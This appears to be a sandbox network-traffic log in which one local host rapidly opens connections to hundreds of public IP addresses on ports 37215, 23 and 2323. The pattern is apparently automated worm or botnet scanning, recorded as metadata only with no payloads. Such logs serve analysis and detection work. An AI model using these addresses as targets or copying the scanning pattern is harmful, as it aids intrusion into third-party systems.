Nov 3, 2024 15:33:16.258618116 CET	4847	37215	192.168.2.14	156.150.220.33
Nov 3, 2024 15:33:16.258619070 CET	4847	37215	192.168.2.14	197.113.132.172
Nov 3, 2024 15:33:16.258630037 CET	4847	37215	192.168.2.14	156.82.124.81
Nov 3, 2024 15:33:16.258635044 CET	4847	37215	192.168.2.14	156.109.196.24
Nov 3, 2024 15:33:16.258646965 CET	4847	37215	192.168.2.14	197.234.53.208
Nov 3, 2024 15:33:16.258650064 CET	4847	37215	192.168.2.14	41.68.134.71
Nov 3, 2024 15:33:16.258665085 CET	4847	37215	192.168.2.14	197.205.161.226
Nov 3, 2024 15:33:16.258666992 CET	4847	37215	192.168.2.14	156.77.140.212
Nov 3, 2024 15:33:16.258676052 CET	4847	37215	192.168.2.14	156.69.116.246
Nov 3, 2024 15:33:16.258676052 CET	4847	37215	192.168.2.14	197.67.238.142
Nov 3, 2024 15:33:16.258690119 CET	4847	37215	192.168.2.14	41.72.29.108
Nov 3, 2024 15:33:16.258692026 CET	4847	37215	192.168.2.14	197.182.17.73
Nov 3, 2024 15:33:16.258692980 CET	4847	37215	192.168.2.14	41.37.217.71
Nov 3, 2024 15:33:16.258697033 CET	4847	37215	192.168.2.14	156.179.64.226
Nov 3, 2024 15:33:16.258702993 CET	4847	37215	192.168.2.14	156.247.119.18
Nov 3, 2024 15:33:16.258709908 CET	4847	37215	192.168.2.14	41.44.252.84
Nov 3, 2024 15:33:16.258719921 CET	4847	37215	192.168.2.14	156.177.142.7
Nov 3, 2024 15:33:16.258723021 CET	4847	37215	192.168.2.14	41.126.195.53
Nov 3, 2024 15:33:16.258725882 CET	4847	37215	192.168.2.14	41.34.112.190
Nov 3, 2024 15:33:16.258728981 CET	4847	37215	192.168.2.14	156.42.160.84
Nov 3, 2024 15:33:16.258733988 CET	4847	37215	192.168.2.14	41.14.114.153
Nov 3, 2024 15:33:16.258747101 CET	4847	37215	192.168.2.14	197.59.250.124
Nov 3, 2024 15:33:16.258747101 CET	4847	37215	192.168.2.14	197.22.113.224
Nov 3, 2024 15:33:16.258749008 CET	4847	37215	192.168.2.14	41.176.215.173
Nov 3, 2024 15:33:16.258766890 CET	4847	37215	192.168.2.14	197.126.241.87
Nov 3, 2024 15:33:16.258768082 CET	4847	37215	192.168.2.14	197.76.47.156
Nov 3, 2024 15:33:16.258769035 CET	4847	37215	192.168.2.14	197.134.232.113
Nov 3, 2024 15:33:16.258786917 CET	4847	37215	192.168.2.14	41.150.191.176
Nov 3, 2024 15:33:16.258788109 CET	4847	37215	192.168.2.14	197.150.174.200
Nov 3, 2024 15:33:16.258790970 CET	4847	37215	192.168.2.14	156.145.224.73
Nov 3, 2024 15:33:16.258790970 CET	4847	37215	192.168.2.14	156.142.92.183
Nov 3, 2024 15:33:16.258791924 CET	4847	37215	192.168.2.14	41.146.106.226
Nov 3, 2024 15:33:16.258791924 CET	4847	37215	192.168.2.14	156.148.123.236
Nov 3, 2024 15:33:16.258795023 CET	4847	37215	192.168.2.14	156.22.49.204
Nov 3, 2024 15:33:16.258795023 CET	4847	37215	192.168.2.14	197.222.151.242
Nov 3, 2024 15:33:16.258802891 CET	4847	37215	192.168.2.14	41.41.174.98
Nov 3, 2024 15:33:16.258812904 CET	4847	37215	192.168.2.14	197.121.160.243
Nov 3, 2024 15:33:16.258814096 CET	4847	37215	192.168.2.14	156.23.135.76
Nov 3, 2024 15:33:16.258836031 CET	4847	37215	192.168.2.14	197.184.55.117
Nov 3, 2024 15:33:16.258836985 CET	4847	37215	192.168.2.14	197.67.24.96
Nov 3, 2024 15:33:16.258836985 CET	4847	37215	192.168.2.14	41.110.76.116
Nov 3, 2024 15:33:16.258840084 CET	4847	37215	192.168.2.14	156.144.63.96
Nov 3, 2024 15:33:16.258852959 CET	4847	37215	192.168.2.14	156.38.212.107
Nov 3, 2024 15:33:16.258856058 CET	4847	37215	192.168.2.14	156.237.138.195
Nov 3, 2024 15:33:16.258856058 CET	4847	37215	192.168.2.14	156.37.167.110
Nov 3, 2024 15:33:16.258863926 CET	4847	37215	192.168.2.14	41.239.70.6
Nov 3, 2024 15:33:16.258863926 CET	4847	37215	192.168.2.14	41.33.225.156
Nov 3, 2024 15:33:16.258872986 CET	4847	37215	192.168.2.14	197.209.222.148
Nov 3, 2024 15:33:16.258886099 CET	4847	37215	192.168.2.14	41.6.14.48
Nov 3, 2024 15:33:16.258889914 CET	4847	37215	192.168.2.14	41.123.164.79
Nov 3, 2024 15:33:16.258889914 CET	4847	37215	192.168.2.14	41.32.161.15
Nov 3, 2024 15:33:16.258892059 CET	4847	37215	192.168.2.14	197.146.169.63
Nov 3, 2024 15:33:16.258892059 CET	4847	37215	192.168.2.14	197.95.143.34
Nov 3, 2024 15:33:16.258903980 CET	4847	37215	192.168.2.14	197.241.250.146
Nov 3, 2024 15:33:16.258903980 CET	4847	37215	192.168.2.14	156.202.172.66
Nov 3, 2024 15:33:16.258935928 CET	4847	37215	192.168.2.14	156.210.255.251
Nov 3, 2024 15:33:16.258935928 CET	4847	37215	192.168.2.14	197.7.133.212
Nov 3, 2024 15:33:16.258935928 CET	4847	37215	192.168.2.14	156.226.41.67
Nov 3, 2024 15:33:16.258935928 CET	4847	37215	192.168.2.14	41.42.29.172
Nov 3, 2024 15:33:16.258935928 CET	4847	37215	192.168.2.14	156.3.127.171
Nov 3, 2024 15:33:16.258935928 CET	4847	37215	192.168.2.14	197.162.143.64
Nov 3, 2024 15:33:16.258938074 CET	4847	37215	192.168.2.14	41.124.208.163
Nov 3, 2024 15:33:16.258938074 CET	4847	37215	192.168.2.14	41.156.208.18
Nov 3, 2024 15:33:16.258943081 CET	4847	37215	192.168.2.14	197.233.43.204
Nov 3, 2024 15:33:16.258944988 CET	4847	37215	192.168.2.14	41.65.187.236
Nov 3, 2024 15:33:16.258948088 CET	4847	37215	192.168.2.14	156.46.142.252
Nov 3, 2024 15:33:16.258948088 CET	4847	37215	192.168.2.14	156.52.82.9
Nov 3, 2024 15:33:16.258949041 CET	4847	37215	192.168.2.14	41.225.153.10
Nov 3, 2024 15:33:16.258949041 CET	4847	37215	192.168.2.14	197.154.68.133
Nov 3, 2024 15:33:16.258949995 CET	4847	37215	192.168.2.14	197.156.249.158
Nov 3, 2024 15:33:16.258950949 CET	4847	37215	192.168.2.14	41.175.17.248
Nov 3, 2024 15:33:16.258950949 CET	4847	37215	192.168.2.14	197.178.63.232
Nov 3, 2024 15:33:16.258959055 CET	4847	37215	192.168.2.14	156.192.71.46
Nov 3, 2024 15:33:16.258961916 CET	4847	37215	192.168.2.14	41.196.234.211
Nov 3, 2024 15:33:16.258961916 CET	4847	37215	192.168.2.14	197.236.36.16
Nov 3, 2024 15:33:16.258963108 CET	4847	37215	192.168.2.14	156.248.141.244
Nov 3, 2024 15:33:16.258964062 CET	4847	37215	192.168.2.14	197.129.64.106
Nov 3, 2024 15:33:16.258963108 CET	4847	37215	192.168.2.14	41.216.87.5
Nov 3, 2024 15:33:16.258965969 CET	4847	37215	192.168.2.14	41.248.123.47
Nov 3, 2024 15:33:16.258964062 CET	4847	37215	192.168.2.14	41.229.40.255
Nov 3, 2024 15:33:16.258963108 CET	4847	37215	192.168.2.14	197.79.157.203
Nov 3, 2024 15:33:16.258969069 CET	4847	37215	192.168.2.14	41.23.109.61
Nov 3, 2024 15:33:16.259162903 CET	60422	37215	192.168.2.14	197.233.247.204
Nov 3, 2024 15:33:16.259162903 CET	60422	37215	192.168.2.14	197.233.247.204
Nov 3, 2024 15:33:16.259877920 CET	60672	37215	192.168.2.14	197.233.247.204
Nov 3, 2024 15:33:16.260442972 CET	56226	37215	192.168.2.14	41.39.192.109
Nov 3, 2024 15:33:16.260442972 CET	56226	37215	192.168.2.14	41.39.192.109
Nov 3, 2024 15:33:16.260782957 CET	56470	37215	192.168.2.14	41.39.192.109
Nov 3, 2024 15:33:16.262736082 CET	23	47082	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:16.262747049 CET	37215	56956	197.242.202.49	192.168.2.14
Nov 3, 2024 15:33:16.262754917 CET	23	42602	63.104.212.7	192.168.2.14
Nov 3, 2024 15:33:16.262763977 CET	37215	41154	156.32.202.74	192.168.2.14
Nov 3, 2024 15:33:16.262773037 CET	23	51750	76.19.127.181	192.168.2.14
Nov 3, 2024 15:33:16.262783051 CET	23	54432	115.167.223.205	192.168.2.14
Nov 3, 2024 15:33:16.262789011 CET	47082	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:16.262792110 CET	37215	44712	156.123.218.251	192.168.2.14
Nov 3, 2024 15:33:16.262794018 CET	56956	37215	192.168.2.14	197.242.202.49
Nov 3, 2024 15:33:16.262794018 CET	42602	23	192.168.2.14	63.104.212.7
Nov 3, 2024 15:33:16.262804031 CET	37215	56016	41.101.178.225	192.168.2.14
Nov 3, 2024 15:33:16.262804985 CET	41154	37215	192.168.2.14	156.32.202.74
Nov 3, 2024 15:33:16.262813091 CET	37215	33156	197.128.126.224	192.168.2.14
Nov 3, 2024 15:33:16.262814045 CET	51750	23	192.168.2.14	76.19.127.181
Nov 3, 2024 15:33:16.262820959 CET	54432	23	192.168.2.14	115.167.223.205
Nov 3, 2024 15:33:16.262821913 CET	37215	35160	197.185.36.5	192.168.2.14
Nov 3, 2024 15:33:16.262831926 CET	37215	39802	156.66.70.102	192.168.2.14
Nov 3, 2024 15:33:16.262835026 CET	44712	37215	192.168.2.14	156.123.218.251
Nov 3, 2024 15:33:16.262835026 CET	33156	37215	192.168.2.14	197.128.126.224
Nov 3, 2024 15:33:16.262839079 CET	56016	37215	192.168.2.14	41.101.178.225
Nov 3, 2024 15:33:16.262847900 CET	23	39706	79.216.36.37	192.168.2.14
Nov 3, 2024 15:33:16.262859106 CET	37215	49484	41.25.131.133	192.168.2.14
Nov 3, 2024 15:33:16.262860060 CET	35160	37215	192.168.2.14	197.185.36.5
Nov 3, 2024 15:33:16.262860060 CET	39802	37215	192.168.2.14	156.66.70.102
Nov 3, 2024 15:33:16.262866974 CET	37215	57956	197.195.63.25	192.168.2.14
Nov 3, 2024 15:33:16.262875080 CET	23	47860	169.179.201.140	192.168.2.14
Nov 3, 2024 15:33:16.262882948 CET	39706	23	192.168.2.14	79.216.36.37
Nov 3, 2024 15:33:16.262887001 CET	49484	37215	192.168.2.14	41.25.131.133
Nov 3, 2024 15:33:16.262890100 CET	23	52846	179.163.235.223	192.168.2.14
Nov 3, 2024 15:33:16.262892962 CET	57956	37215	192.168.2.14	197.195.63.25
Nov 3, 2024 15:33:16.262900114 CET	47860	23	192.168.2.14	169.179.201.140
Nov 3, 2024 15:33:16.262900114 CET	37215	35982	41.234.21.108	192.168.2.14
Nov 3, 2024 15:33:16.262907982 CET	37215	35636	197.149.118.43	192.168.2.14
Nov 3, 2024 15:33:16.262926102 CET	37215	37396	41.151.143.90	192.168.2.14
Nov 3, 2024 15:33:16.262926102 CET	52846	23	192.168.2.14	179.163.235.223
Nov 3, 2024 15:33:16.262929916 CET	35982	37215	192.168.2.14	41.234.21.108
Nov 3, 2024 15:33:16.262931108 CET	35636	37215	192.168.2.14	197.149.118.43
Nov 3, 2024 15:33:16.262939930 CET	37215	33378	197.34.80.190	192.168.2.14
Nov 3, 2024 15:33:16.262949944 CET	37215	50334	197.185.188.104	192.168.2.14
Nov 3, 2024 15:33:16.262959003 CET	37215	35424	197.219.201.144	192.168.2.14
Nov 3, 2024 15:33:16.262959003 CET	37396	37215	192.168.2.14	41.151.143.90
Nov 3, 2024 15:33:16.262960911 CET	56956	37215	192.168.2.14	197.242.202.49
Nov 3, 2024 15:33:16.262960911 CET	56956	37215	192.168.2.14	197.242.202.49
Nov 3, 2024 15:33:16.262968063 CET	37215	52412	197.8.90.91	192.168.2.14
Nov 3, 2024 15:33:16.262978077 CET	33378	37215	192.168.2.14	197.34.80.190
Nov 3, 2024 15:33:16.262980938 CET	37215	56842	156.92.21.112	192.168.2.14
Nov 3, 2024 15:33:16.262984037 CET	50334	37215	192.168.2.14	197.185.188.104
Nov 3, 2024 15:33:16.262986898 CET	35424	37215	192.168.2.14	197.219.201.144
Nov 3, 2024 15:33:16.262995958 CET	37215	42844	156.226.246.49	192.168.2.14
Nov 3, 2024 15:33:16.262996912 CET	52412	37215	192.168.2.14	197.8.90.91
Nov 3, 2024 15:33:16.263005018 CET	37215	38854	156.75.53.41	192.168.2.14
Nov 3, 2024 15:33:16.263011932 CET	56842	37215	192.168.2.14	156.92.21.112
Nov 3, 2024 15:33:16.263020992 CET	37215	34042	156.34.112.245	192.168.2.14
Nov 3, 2024 15:33:16.263034105 CET	37215	38782	41.188.19.186	192.168.2.14
Nov 3, 2024 15:33:16.263041019 CET	42844	37215	192.168.2.14	156.226.246.49
Nov 3, 2024 15:33:16.263045073 CET	38854	37215	192.168.2.14	156.75.53.41
Nov 3, 2024 15:33:16.263046980 CET	37215	40546	156.144.185.8	192.168.2.14
Nov 3, 2024 15:33:16.263056040 CET	34042	37215	192.168.2.14	156.34.112.245
Nov 3, 2024 15:33:16.263056993 CET	37215	53872	156.2.101.153	192.168.2.14
Nov 3, 2024 15:33:16.263077021 CET	38782	37215	192.168.2.14	41.188.19.186
Nov 3, 2024 15:33:16.263082027 CET	40546	37215	192.168.2.14	156.144.185.8
Nov 3, 2024 15:33:16.263082027 CET	53872	37215	192.168.2.14	156.2.101.153
Nov 3, 2024 15:33:16.263333082 CET	57208	37215	192.168.2.14	197.242.202.49
Nov 3, 2024 15:33:16.263442993 CET	2323	4833	178.15.19.233	192.168.2.14
Nov 3, 2024 15:33:16.263487101 CET	4833	2323	192.168.2.14	178.15.19.233
Nov 3, 2024 15:33:16.263505936 CET	37215	4847	197.240.156.4	192.168.2.14
Nov 3, 2024 15:33:16.263541937 CET	4847	37215	192.168.2.14	197.240.156.4
Nov 3, 2024 15:33:16.263761997 CET	41154	37215	192.168.2.14	156.32.202.74
Nov 3, 2024 15:33:16.263761997 CET	41154	37215	192.168.2.14	156.32.202.74
Nov 3, 2024 15:33:16.264084101 CET	41404	37215	192.168.2.14	156.32.202.74
Nov 3, 2024 15:33:16.264509916 CET	44712	37215	192.168.2.14	156.123.218.251
Nov 3, 2024 15:33:16.264509916 CET	44712	37215	192.168.2.14	156.123.218.251
Nov 3, 2024 15:33:16.264826059 CET	44954	37215	192.168.2.14	156.123.218.251
Nov 3, 2024 15:33:16.265249968 CET	56016	37215	192.168.2.14	41.101.178.225
Nov 3, 2024 15:33:16.265249968 CET	56016	37215	192.168.2.14	41.101.178.225
Nov 3, 2024 15:33:16.265578985 CET	56258	37215	192.168.2.14	41.101.178.225
Nov 3, 2024 15:33:16.265999079 CET	33156	37215	192.168.2.14	197.128.126.224
Nov 3, 2024 15:33:16.265999079 CET	33156	37215	192.168.2.14	197.128.126.224
Nov 3, 2024 15:33:16.266324043 CET	33394	37215	192.168.2.14	197.128.126.224
Nov 3, 2024 15:33:16.267060995 CET	52636	37215	192.168.2.14	197.240.156.4
Nov 3, 2024 15:33:16.267524004 CET	39802	37215	192.168.2.14	156.66.70.102
Nov 3, 2024 15:33:16.267524004 CET	39802	37215	192.168.2.14	156.66.70.102
Nov 3, 2024 15:33:16.267606974 CET	23	4833	110.26.246.144	192.168.2.14
Nov 3, 2024 15:33:16.267616987 CET	23	4833	154.129.35.126	192.168.2.14
Nov 3, 2024 15:33:16.267627001 CET	37215	4847	156.148.197.220	192.168.2.14
Nov 3, 2024 15:33:16.267637014 CET	23	4833	46.238.193.200	192.168.2.14
Nov 3, 2024 15:33:16.267646074 CET	37215	4847	41.5.239.250	192.168.2.14
Nov 3, 2024 15:33:16.267651081 CET	4833	23	192.168.2.14	154.129.35.126
Nov 3, 2024 15:33:16.267651081 CET	4833	23	192.168.2.14	110.26.246.144
Nov 3, 2024 15:33:16.267657995 CET	23	4833	207.202.214.70	192.168.2.14
Nov 3, 2024 15:33:16.267663002 CET	4847	37215	192.168.2.14	156.148.197.220
Nov 3, 2024 15:33:16.267668962 CET	4833	23	192.168.2.14	46.238.193.200
Nov 3, 2024 15:33:16.267672062 CET	37215	4847	41.207.137.58	192.168.2.14
Nov 3, 2024 15:33:16.267683029 CET	37215	4847	41.71.170.13	192.168.2.14
Nov 3, 2024 15:33:16.267684937 CET	4847	37215	192.168.2.14	41.5.239.250
Nov 3, 2024 15:33:16.267684937 CET	4833	23	192.168.2.14	207.202.214.70
Nov 3, 2024 15:33:16.267690897 CET	37215	4847	41.19.26.16	192.168.2.14
Nov 3, 2024 15:33:16.267700911 CET	23	4833	2.206.223.69	192.168.2.14
Nov 3, 2024 15:33:16.267709970 CET	23	4833	159.145.97.46	192.168.2.14
Nov 3, 2024 15:33:16.267712116 CET	4847	37215	192.168.2.14	41.207.137.58
Nov 3, 2024 15:33:16.267714977 CET	4847	37215	192.168.2.14	41.71.170.13
Nov 3, 2024 15:33:16.267716885 CET	4847	37215	192.168.2.14	41.19.26.16
Nov 3, 2024 15:33:16.267725945 CET	37215	4847	41.248.183.26	192.168.2.14
Nov 3, 2024 15:33:16.267730951 CET	4833	23	192.168.2.14	2.206.223.69
Nov 3, 2024 15:33:16.267735958 CET	37215	4847	197.144.117.110	192.168.2.14
Nov 3, 2024 15:33:16.267746925 CET	37215	4847	197.118.205.67	192.168.2.14
Nov 3, 2024 15:33:16.267752886 CET	4833	23	192.168.2.14	159.145.97.46
Nov 3, 2024 15:33:16.267755985 CET	37215	4847	41.121.61.60	192.168.2.14
Nov 3, 2024 15:33:16.267756939 CET	4847	37215	192.168.2.14	41.248.183.26
Nov 3, 2024 15:33:16.267765045 CET	23	4833	220.244.73.76	192.168.2.14
Nov 3, 2024 15:33:16.267767906 CET	4847	37215	192.168.2.14	197.144.117.110
Nov 3, 2024 15:33:16.267775059 CET	37215	4847	156.221.41.86	192.168.2.14
Nov 3, 2024 15:33:16.267776012 CET	4847	37215	192.168.2.14	197.118.205.67
Nov 3, 2024 15:33:16.267776012 CET	4847	37215	192.168.2.14	41.121.61.60
Nov 3, 2024 15:33:16.267784119 CET	23	4833	27.228.15.74	192.168.2.14
Nov 3, 2024 15:33:16.267792940 CET	23	4833	24.1.86.160	192.168.2.14
Nov 3, 2024 15:33:16.267798901 CET	4833	23	192.168.2.14	220.244.73.76
Nov 3, 2024 15:33:16.267801046 CET	37215	4847	41.151.21.249	192.168.2.14
Nov 3, 2024 15:33:16.267807961 CET	4847	37215	192.168.2.14	156.221.41.86
Nov 3, 2024 15:33:16.267808914 CET	37215	4847	41.74.208.142	192.168.2.14
Nov 3, 2024 15:33:16.267817020 CET	2323	4833	123.63.83.91	192.168.2.14
Nov 3, 2024 15:33:16.267822981 CET	37215	4847	156.231.69.163	192.168.2.14
Nov 3, 2024 15:33:16.267824888 CET	4833	23	192.168.2.14	24.1.86.160
Nov 3, 2024 15:33:16.267831087 CET	4847	37215	192.168.2.14	41.151.21.249
Nov 3, 2024 15:33:16.267832994 CET	4833	23	192.168.2.14	27.228.15.74
Nov 3, 2024 15:33:16.267846107 CET	37215	4847	197.197.133.157	192.168.2.14
Nov 3, 2024 15:33:16.267853022 CET	4847	37215	192.168.2.14	156.231.69.163
Nov 3, 2024 15:33:16.267854929 CET	4833	2323	192.168.2.14	123.63.83.91
Nov 3, 2024 15:33:16.267855883 CET	4847	37215	192.168.2.14	41.74.208.142
Nov 3, 2024 15:33:16.267863989 CET	23	4833	88.102.67.98	192.168.2.14
Nov 3, 2024 15:33:16.267873049 CET	37215	4847	41.156.95.15	192.168.2.14
Nov 3, 2024 15:33:16.267877102 CET	4847	37215	192.168.2.14	197.197.133.157
Nov 3, 2024 15:33:16.267883062 CET	37215	4847	156.222.223.241	192.168.2.14
Nov 3, 2024 15:33:16.267884970 CET	40058	37215	192.168.2.14	156.66.70.102
Nov 3, 2024 15:33:16.267890930 CET	4833	23	192.168.2.14	88.102.67.98
Nov 3, 2024 15:33:16.267890930 CET	23	4833	43.82.220.78	192.168.2.14
Nov 3, 2024 15:33:16.267899036 CET	4847	37215	192.168.2.14	41.156.95.15
Nov 3, 2024 15:33:16.267901897 CET	23	4833	90.104.18.54	192.168.2.14
Nov 3, 2024 15:33:16.267910004 CET	37215	4847	197.9.225.170	192.168.2.14
Nov 3, 2024 15:33:16.267911911 CET	4847	37215	192.168.2.14	156.222.223.241
Nov 3, 2024 15:33:16.267914057 CET	37215	4847	41.244.158.44	192.168.2.14
Nov 3, 2024 15:33:16.267924070 CET	37215	4847	41.109.214.110	192.168.2.14
Nov 3, 2024 15:33:16.267932892 CET	37215	4847	197.213.238.3	192.168.2.14
Nov 3, 2024 15:33:16.267936945 CET	4833	23	192.168.2.14	43.82.220.78
Nov 3, 2024 15:33:16.267937899 CET	4847	37215	192.168.2.14	197.9.225.170
Nov 3, 2024 15:33:16.267941952 CET	23	4833	39.229.132.186	192.168.2.14
Nov 3, 2024 15:33:16.267950058 CET	4833	23	192.168.2.14	90.104.18.54
Nov 3, 2024 15:33:16.267950058 CET	4847	37215	192.168.2.14	41.244.158.44
Nov 3, 2024 15:33:16.267952919 CET	23	4833	80.51.7.113	192.168.2.14
Nov 3, 2024 15:33:16.267961025 CET	4847	37215	192.168.2.14	41.109.214.110
Nov 3, 2024 15:33:16.267961979 CET	23	4833	176.138.112.229	192.168.2.14
Nov 3, 2024 15:33:16.267970085 CET	4847	37215	192.168.2.14	197.213.238.3
Nov 3, 2024 15:33:16.267971039 CET	37215	4847	156.102.137.205	192.168.2.14
Nov 3, 2024 15:33:16.267970085 CET	4833	23	192.168.2.14	80.51.7.113
Nov 3, 2024 15:33:16.267976046 CET	4833	23	192.168.2.14	39.229.132.186
Nov 3, 2024 15:33:16.267982960 CET	37215	4847	156.2.29.60	192.168.2.14
Nov 3, 2024 15:33:16.267992973 CET	23	4833	8.221.162.42	192.168.2.14
Nov 3, 2024 15:33:16.267993927 CET	4833	23	192.168.2.14	176.138.112.229
Nov 3, 2024 15:33:16.268002033 CET	23	4833	152.247.76.62	192.168.2.14
Nov 3, 2024 15:33:16.268003941 CET	4847	37215	192.168.2.14	156.102.137.205
Nov 3, 2024 15:33:16.268022060 CET	4847	37215	192.168.2.14	156.2.29.60
Nov 3, 2024 15:33:16.268022060 CET	4833	23	192.168.2.14	8.221.162.42
Nov 3, 2024 15:33:16.268026114 CET	4833	23	192.168.2.14	152.247.76.62
Nov 3, 2024 15:33:16.268261909 CET	37215	4847	197.86.72.226	192.168.2.14
Nov 3, 2024 15:33:16.268273115 CET	37215	60422	197.233.247.204	192.168.2.14
Nov 3, 2024 15:33:16.268280983 CET	23	39006	222.182.50.241	192.168.2.14
Nov 3, 2024 15:33:16.268289089 CET	37215	56226	41.39.192.109	192.168.2.14
Nov 3, 2024 15:33:16.268296957 CET	37215	60422	197.233.247.204	192.168.2.14
Nov 3, 2024 15:33:16.268296957 CET	4847	37215	192.168.2.14	197.86.72.226
Nov 3, 2024 15:33:16.268306017 CET	23	41910	153.59.235.162	192.168.2.14
Nov 3, 2024 15:33:16.268312931 CET	56226	37215	192.168.2.14	41.39.192.109
Nov 3, 2024 15:33:16.268321037 CET	37215	60672	197.233.247.204	192.168.2.14
Nov 3, 2024 15:33:16.268330097 CET	37215	56226	41.39.192.109	192.168.2.14
Nov 3, 2024 15:33:16.268340111 CET	37215	56226	41.39.192.109	192.168.2.14
Nov 3, 2024 15:33:16.268346071 CET	57956	37215	192.168.2.14	197.195.63.25
Nov 3, 2024 15:33:16.268346071 CET	57956	37215	192.168.2.14	197.195.63.25
Nov 3, 2024 15:33:16.268348932 CET	37215	56956	197.242.202.49	192.168.2.14
Nov 3, 2024 15:33:16.268352032 CET	60672	37215	192.168.2.14	197.233.247.204
Nov 3, 2024 15:33:16.268366098 CET	41910	23	192.168.2.14	153.59.235.162
Nov 3, 2024 15:33:16.268366098 CET	37215	56956	197.242.202.49	192.168.2.14
Nov 3, 2024 15:33:16.268557072 CET	39006	23	192.168.2.14	222.182.50.241
Nov 3, 2024 15:33:16.268909931 CET	58212	37215	192.168.2.14	197.195.63.25
Nov 3, 2024 15:33:16.269010067 CET	41980	23	192.168.2.14	153.59.235.162
Nov 3, 2024 15:33:16.269639969 CET	35160	37215	192.168.2.14	197.185.36.5
Nov 3, 2024 15:33:16.269639969 CET	35160	37215	192.168.2.14	197.185.36.5
Nov 3, 2024 15:33:16.269831896 CET	39006	23	192.168.2.14	222.182.50.241
Nov 3, 2024 15:33:16.270364046 CET	35418	37215	192.168.2.14	197.185.36.5
Nov 3, 2024 15:33:16.270462036 CET	39076	23	192.168.2.14	222.182.50.241
Nov 3, 2024 15:33:16.271100044 CET	49484	37215	192.168.2.14	41.25.131.133
Nov 3, 2024 15:33:16.271100044 CET	49484	37215	192.168.2.14	41.25.131.133
Nov 3, 2024 15:33:16.271804094 CET	49734	37215	192.168.2.14	41.25.131.133
Nov 3, 2024 15:33:16.271898031 CET	40244	2323	192.168.2.14	178.15.19.233
Nov 3, 2024 15:33:16.272356987 CET	23	42602	63.104.212.7	192.168.2.14
Nov 3, 2024 15:33:16.272365093 CET	37215	41154	156.32.202.74	192.168.2.14
Nov 3, 2024 15:33:16.272372961 CET	23	51750	76.19.127.181	192.168.2.14
Nov 3, 2024 15:33:16.272381067 CET	23	54432	115.167.223.205	192.168.2.14
Nov 3, 2024 15:33:16.272387028 CET	37215	44712	156.123.218.251	192.168.2.14
Nov 3, 2024 15:33:16.272392035 CET	41154	37215	192.168.2.14	156.32.202.74
Nov 3, 2024 15:33:16.272397995 CET	37215	41154	156.32.202.74	192.168.2.14
Nov 3, 2024 15:33:16.272404909 CET	37215	41154	156.32.202.74	192.168.2.14
Nov 3, 2024 15:33:16.272411108 CET	37215	33156	197.128.126.224	192.168.2.14
Nov 3, 2024 15:33:16.272413969 CET	44712	37215	192.168.2.14	156.123.218.251
Nov 3, 2024 15:33:16.272418976 CET	37215	56016	41.101.178.225	192.168.2.14
Nov 3, 2024 15:33:16.272427082 CET	37215	35160	197.185.36.5	192.168.2.14
Nov 3, 2024 15:33:16.272433996 CET	37215	39802	156.66.70.102	192.168.2.14
Nov 3, 2024 15:33:16.272439957 CET	33156	37215	192.168.2.14	197.128.126.224
Nov 3, 2024 15:33:16.272440910 CET	23	39706	79.216.36.37	192.168.2.14
Nov 3, 2024 15:33:16.272448063 CET	56016	37215	192.168.2.14	41.101.178.225
Nov 3, 2024 15:33:16.272454977 CET	37215	49484	41.25.131.133	192.168.2.14
Nov 3, 2024 15:33:16.272461891 CET	35160	37215	192.168.2.14	197.185.36.5
Nov 3, 2024 15:33:16.272461891 CET	39802	37215	192.168.2.14	156.66.70.102
Nov 3, 2024 15:33:16.272463083 CET	37215	57956	197.195.63.25	192.168.2.14
Nov 3, 2024 15:33:16.272469997 CET	23	47860	169.179.201.140	192.168.2.14
Nov 3, 2024 15:33:16.272478104 CET	23	52846	179.163.235.223	192.168.2.14
Nov 3, 2024 15:33:16.272485018 CET	37215	35982	41.234.21.108	192.168.2.14
Nov 3, 2024 15:33:16.272488117 CET	37215	35636	197.149.118.43	192.168.2.14
Nov 3, 2024 15:33:16.272491932 CET	37215	44712	156.123.218.251	192.168.2.14
Nov 3, 2024 15:33:16.272495985 CET	57956	37215	192.168.2.14	197.195.63.25
Nov 3, 2024 15:33:16.272497892 CET	49484	37215	192.168.2.14	41.25.131.133
Nov 3, 2024 15:33:16.272499084 CET	37215	44712	156.123.218.251	192.168.2.14
Nov 3, 2024 15:33:16.272506952 CET	37215	37396	41.151.143.90	192.168.2.14
Nov 3, 2024 15:33:16.272515059 CET	37215	33378	197.34.80.190	192.168.2.14
Nov 3, 2024 15:33:16.272524118 CET	37215	50334	197.185.188.104	192.168.2.14
Nov 3, 2024 15:33:16.272531986 CET	37215	35424	197.219.201.144	192.168.2.14
Nov 3, 2024 15:33:16.272540092 CET	37215	52412	197.8.90.91	192.168.2.14
Nov 3, 2024 15:33:16.272546053 CET	35982	37215	192.168.2.14	41.234.21.108
Nov 3, 2024 15:33:16.272553921 CET	37215	56842	156.92.21.112	192.168.2.14
Nov 3, 2024 15:33:16.272558928 CET	52846	23	192.168.2.14	179.163.235.223
Nov 3, 2024 15:33:16.272558928 CET	33378	37215	192.168.2.14	197.34.80.190
Nov 3, 2024 15:33:16.272558928 CET	47860	23	192.168.2.14	169.179.201.140
Nov 3, 2024 15:33:16.272561073 CET	37215	56016	41.101.178.225	192.168.2.14
Nov 3, 2024 15:33:16.272563934 CET	37396	37215	192.168.2.14	41.151.143.90
Nov 3, 2024 15:33:16.272564888 CET	35636	37215	192.168.2.14	197.149.118.43
Nov 3, 2024 15:33:16.272564888 CET	54432	23	192.168.2.14	115.167.223.205
Nov 3, 2024 15:33:16.272564888 CET	42602	23	192.168.2.14	63.104.212.7
Nov 3, 2024 15:33:16.272567034 CET	39706	23	192.168.2.14	79.216.36.37
Nov 3, 2024 15:33:16.272569895 CET	51750	23	192.168.2.14	76.19.127.181
Nov 3, 2024 15:33:16.272576094 CET	37215	42844	156.226.246.49	192.168.2.14
Nov 3, 2024 15:33:16.272584915 CET	37215	38854	156.75.53.41	192.168.2.14
Nov 3, 2024 15:33:16.272593021 CET	37215	34042	156.34.112.245	192.168.2.14
Nov 3, 2024 15:33:16.272599936 CET	37215	38782	41.188.19.186	192.168.2.14
Nov 3, 2024 15:33:16.272608042 CET	35982	37215	192.168.2.14	41.234.21.108
Nov 3, 2024 15:33:16.272613049 CET	37215	40546	156.144.185.8	192.168.2.14
Nov 3, 2024 15:33:16.272620916 CET	37215	53872	156.2.101.153	192.168.2.14
Nov 3, 2024 15:33:16.272628069 CET	37215	56016	41.101.178.225	192.168.2.14
Nov 3, 2024 15:33:16.272634983 CET	37215	33156	197.128.126.224	192.168.2.14
